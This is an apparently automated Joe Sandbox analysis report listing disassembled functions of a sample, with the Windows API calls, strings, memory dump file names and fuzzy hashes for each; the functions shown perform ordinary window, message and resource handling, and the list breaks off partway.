Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Initialize$CountCriticalErrorLastSectionSpin
String ID: CServerConnection::SynchronizeConnectionState$CServerConnectionInstance::CServerConnectionInstance$CoInitializeEx(0, %d) returned hr=0x%08X.$Failed to get the ServerConnection instance.$SBAM.Common
API String ID: 4201420507-533318284
Opcode ID: 54c201f7a7908acdcbb1a63862d186d0046db276e19cc37342e3744c9e2bb8d8
Instruction ID: ae270c2e501c9afe6da6573ed7d97449aa7837582f8a8f54303e692b166d1d5a
Opcode Fuzzy Hash: 54c201f7a7908acdcbb1a63862d186d0046db276e19cc37342e3744c9e2bb8d8
Instruction Fuzzy Hash: 82416872201B4191EB16DF22E848BD83369F70C794F90462AEBAD437B1DFB8C665C380

Uniqueness

Uniqueness Score: -1.00%

Function 000000014019013C Relevance: 10.6, APIs: 7, Instructions: 96timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014007C4B0: ReleaseCapture.USER32 ref: 000000014007C500
Part of subcall function 000000014007C4B0: IsWindow.USER32 ref: 000000014007C521
Part of subcall function 000000014007C4B0: DestroyWindow.USER32 ref: 000000014007C532
Part of subcall function 000000014007C4B0: GetParent.USER32 ref: 000000014007C55D

KillTimer.USER32 ref: 0000000140190177
IsWindow.USER32 ref: 00000001401901D7
RedrawWindow.USER32 ref: 000000014019020B
IsWindow.USER32 ref: 000000014019023F
RedrawWindow.USER32 ref: 0000000140190283
GetCursorPos.USER32 ref: 0000000140190291
ScreenToClient.USER32 ref: 00000001401902A3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Redraw$CaptureClientCursorDestroyKillParentReleaseScreenTimer
String ID:
API String ID: 3484170629-0
Opcode ID: 3a6ab0f243b45022b8015a6be6e48ec61b6e3b3ced94390272c222ed9c0a6892
Instruction ID: e692f563726f38fb60b2cb904f4238279f72dc007b25fdc64c8d859428dfdc8b
Opcode Fuzzy Hash: 3a6ab0f243b45022b8015a6be6e48ec61b6e3b3ced94390272c222ed9c0a6892
Instruction Fuzzy Hash: 37418B76314A8086EB669B27E458BEE6360F78DF84F084025DF8E47BA4DF38C155C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C21B6 Relevance: 10.6, APIs: 7, Instructions: 95windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00000001400C46A9
GetCapture.USER32 ref: 00000001400C46B3
SetCapture.USER32 ref: 00000001400C46C6
GetWindowRect.USER32 ref: 00000001400C46E7
GetCapture.USER32 ref: 00000001400C475D
GetMessageW.USER32 ref: 00000001400C4780
DispatchMessageW.USER32 ref: 00000001400C47A5

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CaptureMessage$DispatchPeekRectWindow
String ID:
API String ID: 2008901295-0
Opcode ID: 8906d8fea19e3c5a3ad36e52a9caa4ad88032af6cdf9d6b0faf3d297e864bff4
Instruction ID: 18d29931327fa553347f9513df5c505b6fc428335f7c8948b53c86c5bebb168b
Opcode Fuzzy Hash: 8906d8fea19e3c5a3ad36e52a9caa4ad88032af6cdf9d6b0faf3d297e864bff4
Instruction Fuzzy Hash: AC41593660474096FB2ADB67E8447EE67A1FB8DF84F084526EB4A47BA8DF78C541C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C8340 Relevance: 10.6, APIs: 7, Instructions: 78windowthreadCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00000001400C836A
GetParent.USER32 ref: 00000001400C8379
GetWindowThreadProcessId.USER32 ref: 00000001400C839A
GetCurrentProcessId.KERNEL32 ref: 00000001400C83A0
GetActiveWindow.USER32 ref: 00000001400C8410
SendMessageW.USER32 ref: 00000001400C8429
SendMessageW.USER32 ref: 00000001400C8448

Part of subcall function 000000014003A624: EnableWindow.USER32 ref: 000000014003A645

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$MessageProcessSend$ActiveCurrentEnableFocusParentThread
String ID:
API String ID: 2169720751-0
Opcode ID: a2a042eeb29d311535193718630c8d5237fc66cb64f57ba1bb19033ecfed0977
Instruction ID: 3228030013db09f9e7cdab8c035e9d5e91a9a5c3314b980f06a69aeabec86898
Opcode Fuzzy Hash: a2a042eeb29d311535193718630c8d5237fc66cb64f57ba1bb19033ecfed0977
Instruction Fuzzy Hash: C031613230878192EB6E9B27E5847EE67A1FB89BC5F188021EF4A476B5CF38D454C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000C060 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 000000014000C093
_CxxThrowException.LIBVCRUNTIME ref: 000000014000C0BE
_CxxThrowException.LIBVCRUNTIME ref: 000000014000C0E9
_CxxThrowException.LIBVCRUNTIME ref: 000000014000C114

Strings

ios_base::badbit set, xrefs: 000000014000C0A1
ios_base::eofbit set, xrefs: 000000014000C0F7
ios_base::failbit set, xrefs: 000000014000C0CC

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 432778473-1866435925
Opcode ID: fca7a94e78ccb6b6cde913d61ccb4861fd7035a712d37c0c09ed6cc9e234ffcc
Instruction ID: dbd0038594b032e7255f605829b6a0fa310d458f9d90b69c0ca6d0d71a88b500
Opcode Fuzzy Hash: fca7a94e78ccb6b6cde913d61ccb4861fd7035a712d37c0c09ed6cc9e234ffcc
Instruction Fuzzy Hash: 6511C8B163054692FE16EB22E851BEA6310BB9C788FA04017B74E4B9F6EF74C50AC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140082670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,?,00000001400837A8), ref: 00000001400826AE
LoadResource.KERNEL32(?,00000001400837A8), ref: 00000001400826C6
LockResource.KERNEL32(?,00000001400837A8), ref: 00000001400826D7
SizeofResource.KERNEL32(?,00000001400837A8), ref: 00000001400826EB
FreeResource.KERNEL32(?,00000001400837A8), ref: 0000000140082704

Strings

PNG, xrefs: 00000001400826A1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeof
String ID: PNG
API String ID: 4159136517-364855578
Opcode ID: 93687c374e59481319c4d3ae486b02e7e8b752067a7dd1e921a65743edc8cba9
Instruction ID: fd5692a81e7f87f205bba697d3c57e12020dc1d712e930020d9b0d5ec86d86e7
Opcode Fuzzy Hash: 93687c374e59481319c4d3ae486b02e7e8b752067a7dd1e921a65743edc8cba9
Instruction Fuzzy Hash: DF11A175305B4086EE06EB5369487AA67E1BB4DFD0F084434EF8907BB5EE7CC5468300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401FFFF8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000000140200029
GetLastError.KERNEL32 ref: 0000000140200035
CloseHandle.KERNEL32 ref: 000000014020004D
CreateFileW.KERNEL32 ref: 0000000140200078
WriteConsoleW.KERNEL32 ref: 0000000140200097

Strings

CONOUT$, xrefs: 0000000140200059

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 2f5238129b615f644adfdc61cd7a0e4d1c110de89ebae83789b6dfdc0860481f
Instruction ID: 88b7969f582a8c7da5aad9a5b9531abdc1a509b790e7d8ec06eb0b7ec04453ee
Opcode Fuzzy Hash: 2f5238129b615f644adfdc61cd7a0e4d1c110de89ebae83789b6dfdc0860481f
Instruction Fuzzy Hash: ED119036320B8086F7519B13E858B9A66E2F79CFE4F404224EB59877F4DFB8C8448744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401642E0 Relevance: 9.5, APIs: 6, Instructions: 465COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 000000014016437B

Part of subcall function 0000000140163C30: GetWindow.USER32 ref: 0000000140163C6D
Part of subcall function 0000000140163C30: GetWindow.USER32 ref: 0000000140163CAC

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bd3f8361b8f9c3397e7172e64279efe113b9ed40e89afb2693c79ee536329348
Instruction ID: a75c32f7a963d666105cf5cda93370da7dea597e2cfd0f43f5939c7c061f6715
Opcode Fuzzy Hash: bd3f8361b8f9c3397e7172e64279efe113b9ed40e89afb2693c79ee536329348
Instruction Fuzzy Hash: 45026736314A9182EA16EBA7E8543ED23A5BB8DFD4F484926DF0E577A2DF38C441C304

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140138050 Relevance: 9.4, APIs: 6, Instructions: 383COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 0000000140138095
SetRectEmpty.USER32 ref: 00000001401380A2
InflateRect.USER32 ref: 00000001401381D4
InflateRect.USER32 ref: 000000014013822C

Part of subcall function 0000000140135B30: InflateRect.USER32 ref: 0000000140135BF0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Inflate$Empty
String ID:
API String ID: 4171175343-0
Opcode ID: 5e0fd01b6b72547656a93d7d57fb1b6f291c04047efe1ad6c595313973f6f440
Instruction ID: 89b8381cf305f60904c9c20727b8590814f8b2ee730f8d17144c794297ec0216
Opcode Fuzzy Hash: 5e0fd01b6b72547656a93d7d57fb1b6f291c04047efe1ad6c595313973f6f440
Instruction Fuzzy Hash: F2F15C72A04B848AFB62DFA6D444BED33A1F74CB88F154229EF4997BA5DB34C445C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400A6530 Relevance: 9.3, APIs: 6, Instructions: 296windowCOMMON

Download Yara Rule

APIs

DestroyCursor.USER32 ref: 00000001400A6585

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

CopyIcon.USER32 ref: 00000001400A6593
DestroyCursor.USER32 ref: 00000001400A66B9
GetParent.USER32 ref: 00000001400A6875
GetParent.USER32 ref: 00000001400A68DF
RedrawWindow.USER32 ref: 00000001400A6904

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CursorDestroyParent$CopyExceptionIconRedrawThrowWindow
String ID:
API String ID: 3506574077-0
Opcode ID: 66932146c9bcaa270c68ee22a56249e68f246334e80308474ed53cdf21c3bb25
Instruction ID: 18886d3435660d26a6b580c184176ab9efb47b3b4c27c6951c70a94ff953b865
Opcode Fuzzy Hash: 66932146c9bcaa270c68ee22a56249e68f246334e80308474ed53cdf21c3bb25
Instruction Fuzzy Hash: A1C1BE35701A4182EB5ADB27E5983ED2371FB9CBC4F184226EB194B7B5DF78C4928B40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401FC0CC Relevance: 9.2, APIs: 6, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001401FC128

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8f71e8f78ce42dfa13f8ae3b3d6ce8de3eb54376600b7248d849b8755048b882
Instruction ID: c7d56def2553da81f5fc827971cbd67b98ee5046f83e9ce0986deff8743221f9
Opcode Fuzzy Hash: 8f71e8f78ce42dfa13f8ae3b3d6ce8de3eb54376600b7248d849b8755048b882
Instruction Fuzzy Hash: 7291E4727256D085FB22DB22D6603ED76A4BB68FE4F188219DF6547BE5DB34C842E300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140092564 Relevance: 9.2, APIs: 6, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0000000140092611
SendMessageW.USER32 ref: 0000000140092654
SendMessageW.USER32 ref: 0000000140092686
SetRectEmpty.USER32 ref: 00000001400926F7
SendMessageW.USER32 ref: 000000014009275A
RedrawWindow.USER32 ref: 0000000140092790

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$EmptyParentRectRedrawWindow
String ID:
API String ID: 3879113052-0
Opcode ID: c2f11528365bc0e702ac84aeeef73be496c3e8d064ed229e3c2cc5eb29e22396
Instruction ID: e4e9a459d3df3f4822e0ff4f50f5573a34efb806104c9f3ef630835967af2b5e
Opcode Fuzzy Hash: c2f11528365bc0e702ac84aeeef73be496c3e8d064ed229e3c2cc5eb29e22396
Instruction Fuzzy Hash: E6617936710A508AEB15DFA7D450BED67A1FB8CB88F054026EF0E57BA4DE79D442C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014014C57C Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014014C5A0
SendMessageW.USER32 ref: 000000014014C5FD
SendMessageW.USER32 ref: 000000014014C613
SendMessageW.USER32 ref: 000000014014C6DF
SendMessageW.USER32 ref: 000000014014C6F4
SendMessageW.USER32 ref: 000000014014C761

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 839f492d6d34be0e97546e08670404adf7f165091affd25df6efa605ed8995da
Instruction ID: 87e446806d77016ca0573bf57eee48dabd9c597938ba2b99769cdf82cbe8bf2e
Opcode Fuzzy Hash: 839f492d6d34be0e97546e08670404adf7f165091affd25df6efa605ed8995da
Instruction Fuzzy Hash: 1A516C76210A8092EB568F27E8547DA6321F788FD4F169222EF5D0BBB8DE34C502C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140076674 Relevance: 9.1, APIs: 6, Instructions: 135windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,0000000140058134), ref: 0000000140076747
SendMessageW.USER32 ref: 00000001400767CC
IsWindow.USER32 ref: 00000001400767FA
ClientToScreen.USER32 ref: 000000014007680D
IsWindow.USER32 ref: 000000014007682B
ClientToScreen.USER32 ref: 0000000140076864

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ClientMessageScreenSendWindow
String ID:
API String ID: 2093367132-0
Opcode ID: e7d5d7832fce23f00eeb5f21d1acf8394db4bff88555591e5572bfbc5ed895d9
Instruction ID: 2bbcd081a791a5380f7d53db871c380c63968c99e8fb4d7ecbb8cdbc9e50c91f
Opcode Fuzzy Hash: e7d5d7832fce23f00eeb5f21d1acf8394db4bff88555591e5572bfbc5ed895d9
Instruction Fuzzy Hash: 84513D75A0860081FBAABB33D4843EE26A0F78CBC4F540426FB47876F5DA7DC890CA41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140086298 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

FillRect.USER32 ref: 00000001400862F4

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

GetParent.USER32 ref: 000000014008631A
GetWindowRect.USER32 ref: 000000014008633D
GetClientRect.USER32 ref: 00000001400863FC
MapWindowPoints.USER32 ref: 0000000140086415
DrawThemeBackground.UXTHEME ref: 0000000140086444

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
